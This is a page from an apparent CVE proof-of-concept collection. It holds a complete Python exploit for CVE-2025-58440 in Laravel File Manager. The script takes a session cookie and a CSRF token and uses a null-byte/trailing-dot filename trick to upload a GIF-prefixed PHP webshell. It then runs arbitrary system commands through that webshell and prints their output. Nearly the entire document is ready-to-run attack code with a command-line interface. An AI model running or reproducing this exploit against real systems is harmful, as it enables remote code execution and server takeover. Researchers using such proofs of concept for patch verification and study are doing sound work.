4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-58440.py PY
#!/usr/bin/env python3
"""
Laravel File Manager Exploit (CVE-2025-58440)

CVE: CVE-2025-58440
CVSS: 3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Author: Justin Lee (Ph.Hitachi)
Title:  Remote Code Execution (RCE) via Polyglot File Attack and Null Byte Injection on Laravel FileManager
Version: affected =< 12.0
Github: https://github.com/UniSharp/laravel-filemanager
"""

from io import StringIO
from rich.console import Console
from rich.table import Table
from rich.text import Text
import requests
import argparse
import sys
import random
import string
import re
from urllib.parse import urlparse, quote

def generate_random_filename(extension="php."):
    """Generate a random filename with the given extension"""
    random_string = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
    return f"{random_string}.{extension}"

def extract_csrf_token(target, cookies):
    """Extract CSRF token from Laravel File Manager page"""
    try:
        # Parse target URL
        if not target.startswith(('http://', 'https://')):
            target = 'http://' + target
        
        url = f"{target}/laravel-filemanager"
        
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
            'Cookie': cookies
        }
        
        response = requests.get(url, headers=headers, timeout=30)
        
        if response.status_code == 200:
            # Look for CSRF token in hidden input field
            token_pattern = r"<input type='hidden' name='_token' value='([^']+)'"
            match = re.search(token_pattern, response.text)
            
            if match:
                csrf_token = match.group(1)
                return csrf_token
            else:
                # Try alternative pattern
                alt_pattern = r'<input type="hidden" name="_token" value="([^"]+)"'
                match = re.search(alt_pattern, response.text)
                if match:
                    csrf_token = match.group(1)
                    return csrf_token
                else:
                    print("[-] Could not find CSRF token in response")
                    return None
        else:
            print(f"[-] Failed to access Laravel File Manager (HTTP {response.status_code})")
            return None
            
    except Exception as e:
        print(f"[-] Error extracting CSRF token: {e}")
        return None

def exploit(target, cookies, working_dir="/tmp", filename=None, payload_cmd='id'):
    """
    Exploit the Laravel File Manager unrestricted file upload vulnerability
    """
    try:
        # Extract CSRF token first
        csrf_token = extract_csrf_token(target, cookies)
        if not csrf_token:
            print("[-] Failed to extract CSRF token, cannot proceed")
            return False
        
        # Parse target URL
        if not target.startswith(('http://', 'https://')):
            target = 'http://' + target
        
        url = f"{target}/laravel-filemanager/upload"
        
        # Generate random filename if not provided
        if not filename:
            filename = generate_random_filename()
        
        # Prepare webshell content - parameter based
        webshell_content = "GIF89a;\n<?php if(isset($_POST['payload'])) { system($_POST['payload']); } ?>"
        
        # Prepare multipart form data
        boundary = "----WebKitFormBoundary7w227kSd4galkVL5"
        
        payload = f"--{boundary}\r\n"
        payload += f'Content-Disposition: form-data; name="working_dir"\r\n\r\n'
        payload += f"{working_dir}\r\n"
        
        payload += f"--{boundary}\r\n"
        payload += f'Content-Disposition: form-data; name="upload[]"; filename="{filename}"\r\n'
        payload += "Content-Type: image/png\r\n\r\n"
        payload += f"{webshell_content}\r\n"
        
        payload += f"--{boundary}\r\n"
        payload += f'Content-Disposition: form-data; name="type"\r\n\r\n\r\n'
        
        payload += f"--{boundary}\r\n"
        payload += f'Content-Disposition: form-data; name="_token"\r\n\r\n'
        payload += f"{csrf_token}\r\n"
        
        payload += f"--{boundary}--\r\n"
        
        # Prepare headers
        headers = {
            'Host': urlparse(target).netloc,
            'Content-Type': f'multipart/form-data; boundary={boundary}',
            'sec-ch-ua-platform': '"Windows"',
            'Authorization': 'Bearer null',
            'Cache-Control': 'no-cache',
            'Accept-Language': 'en-US,en;q=0.9',
            'sec-ch-ua': '"Chromium";v="139", "Not;A=Brand";v="99"',
            'sec-ch-ua-mobile': '?0',
            'X-Requested-With': 'XMLHttpRequest',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
            'Accept': 'application/json',
            'Origin': target,
            'Sec-Fetch-Site': 'same-origin',
            'Sec-Fetch-Mode': 'cors',
            'Sec-Fetch-Dest': 'empty',
            'Referer': f'{target}/laravel-filemanager',
            'Accept-Encoding': 'gzip, deflate, br',
            'Connection': 'keep-alive',
            'Cookie': cookies
        }
        
        # Send the request
        response = requests.post(url, data=payload, headers=headers, timeout=30)
        
        print(f"[*] Target: {target}")

        # Check if upload was successful
        if response.status_code == 200:
            # Parse response to check if it contains "OK"
            response_data = response.json() if response.headers.get('content-type') == 'application/json' else {}
            if 'OK' in str(response_data).upper():
                
                # Try to access the uploaded file
                uploaded_file_url = f"{target}/storage/files/{working_dir.lstrip('/')}/{filename.rstrip('.')}"
                print(f"[+] Webshell uploaded to: {uploaded_file_url}")
                
                # Test the webshell if a payload command is provided
                if payload_cmd:
                    print(f"[+] Payload command: {payload_cmd}")
                    
                    try:
                        # Use POST to send the payload command
                        post_headers = {
                            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
                            'Cookie': cookies
                        }
                        
                        response = requests.post(uploaded_file_url, data={'payload': payload_cmd}, headers=post_headers, timeout=30)
                        if response.status_code == 200:
                            print("[+] Payload Executed successfully!")
                            print("[+] Command output:")
                            print()
                            
                            # Clean the output by removing any GIF89a; prefix
                            output = response.text
                            if output.startswith("GIF89a;"):
                                output = output[7:]  # Remove the GIF89a; prefix
                            
                            print(output.strip())
                            print()
                            return True
                        else:
                            print(f"[-] Webshell returned HTTP {response.status_code}")
                    except Exception as e:
                        print(f"[-] Error testing webshell: {e}")
                else:
                    print("[+] No payload command specified, webshell uploaded but not tested")
                    print(f"[+] Usage: POST to {uploaded_file_url} with 'payload' parameter")
                    return True
            else:
                print("[-] Server response does not indicate success")
                print(f"[*] Response: {response.text}")
        else:
            print("[-] File upload failed")
            print(f"[*] Response: {response.text}")
            
        return False
        
    except Exception as e:
        print(f"[-] Error: {e}")
        return False
console = Console(file=StringIO(), force_terminal=True)

class RichHelpFormatter(argparse.HelpFormatter):
    def __init__(self, prog, parser=None):
        super().__init__(prog)
        self.console = console
        self._parser = parser  # Now passed in early

    def format_help(self):
        from rich.highlighter import ReprHighlighter
        repr_highlighter = ReprHighlighter()

        if not self._parser:
            return super().format_help()  # fallback

        # If usage is explicitly set, use it
        if self._parser.usage:
            usage = self._parser.usage
        else:
            usage = self._format_usage(
                self._parser.prog,
                self._parser._actions,
                self._parser._mutually_exclusive_groups,
                prefix=""
            ).strip()

        self.console.print(f"Usage: {usage}\n")

        for group in self._parser._action_groups:
            if not group._group_actions:
                continue

            if group.title:
                self.console.print(f"{group.title.upper()}")
            if group.description:
                self.console.print(group.description)

            table = Table(show_header=False, box=None, pad_edge=False)
            table.add_column("Flags", no_wrap=True, min_width=40, justify="left")
            table.add_column("Description", no_wrap=True)

            for action in group._group_actions:
                if action.help == argparse.SUPPRESS:
                    continue

                if action.option_strings:
                    flag_str = ', '.join(action.option_strings)
                    metavar = action.metavar or (action.dest.upper() if action.nargs != 0 else None)
                    if metavar:
                        flag_str += f" {str(metavar).upper()}"
                else:
                    flag_str = action.metavar or action.dest

                help_text = action.help or ""
                if (action.default is not None 
                    and action.default != argparse.SUPPRESS 
                    and not isinstance(action.default, bool)):
                    help_text += f" (default: {action.default})"

                highlighted_help = repr_highlighter(help_text)
                table.add_row(Text(f'  {flag_str}'), highlighted_help)

            self.console.print(table)
            self.console.print()

        return self.console.file.getvalue() # type: ignore
    
class RichArgumentParser(argparse.ArgumentParser):
    def format_help(self):
        formatter = RichHelpFormatter(self.prog, parser=self)
        return formatter.format_help()
    
def main():
    parser = RichArgumentParser(
        prog="CVE-2025-58440",
        description="Laravel File Manager Exploit (CVE-2025-58440)",
        usage="python3 CVE-2025-58440.py <target> [--flags]"
    )
    
    parser.add_argument("target", help="Target URL (e.g., 127.0.0.1:8000)")
    parser.add_argument("-C", "--cookie", required=True, help="Session cookies")
    parser.add_argument("-d", "--directory", default="/tmp", help="Working directory")
    parser.add_argument("-f", "--filename", help="Filename to upload (default: random)")
    parser.add_argument("-p", "--payload", default="id", help="Command to execute through the webshell (e.g., 'id', 'whoami')")
    
    args = parser.parse_args()
    print()
    print("[*] Laravel File Manager Exploit (CVE-2025-58440)")
    print("=" * 60)
    
    success = exploit(
        target=args.target,
        cookies=args.cookie,
        working_dir=args.directory,
        filename=args.filename,
        payload_cmd=args.payload
    )
    
    if success:
        print("\n[+] Exploit completed successfully!")
        sys.exit(0)
    else:
        print("\n[-] Exploit failed!")
        sys.exit(1)

if __name__ == "__main__":
    main()